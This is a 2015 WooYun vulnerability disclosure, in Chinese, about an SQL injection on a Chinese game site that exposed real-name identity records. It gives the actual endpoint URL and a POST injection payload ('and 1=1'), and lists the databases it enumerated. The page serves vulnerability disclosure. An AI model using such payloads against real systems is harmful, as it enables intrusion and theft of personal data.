当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0156353

漏洞标题：IS游戏某处漏洞泄露大量信息（百万用户/实名信息/其他游戏数据）

相关厂商：IS游戏

漏洞作者： 路人甲

提交时间：2015-11-27 15:45

修复时间：2016-01-11 15:46

公开时间：2016-01-11 15:46

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-27： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-01-11： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

谁说小学生玩游戏不可以实名认证

详细说明：

QQ截图20151127152522.png


名字有点敏感，用户量还挺大，有一处读取游戏礼包的地方过滤不严格存在SQL注入

http://www.iugame.cn//isgame/sjhd/ajax.aspx
POST：action=loadgameserver&gameId=128 and 1=1&gameName=%C3%86%C3%9F%C3%89%C2%B1


QQ截图20151127152736.png


15库，当前库存有百万实名认证信息，包括姓名，身份证号

available databases [15]:
[*] Activitiesys
[*] Anchor
[*] chongzhi
[*] gamesys
[*] isvipiii
[*] iugame2
[*] iuggjk
[*] master
[*] model
[*] msdb
[*] tempdb
[*] uzone
[*] vip2013
[*] vip2014
[*] webgame_logonlog


QQ截图20151127153629.png


QQ截图20151127153905.png


用户相关

QQ截图20151127154000.png

漏洞证明：

QQ截图20151127153905.png


QQ截图20151127153905.png

修复方案：

参数过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：15 (WooYun评价)

漏洞评价：

评价

  1. 2015-11-27 15:45 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 哈！躁起来！)

    IS？

  2. 2015-11-27 17:37 | prolog ( 普通白帽子 | Rank:580 漏洞数:111 | Rank:8888 漏洞数:1024 | 低调求发展)

    -=-

  3. 2015-11-27 17:58 | SunnyDoll ( 实习白帽子 | Rank:45 漏洞数:15 | 职业搬砖工)

    http://loudong.360.cn/vul/info/qid/QTVA-2015-333623突然觉得醉醉的

  4. 2015-11-29 19:23 | 人丑嘴不甜 ( 实习白帽子 | Rank:33 漏洞数:10 | 小菜鸟 妄想成为大大的大牛)

    isis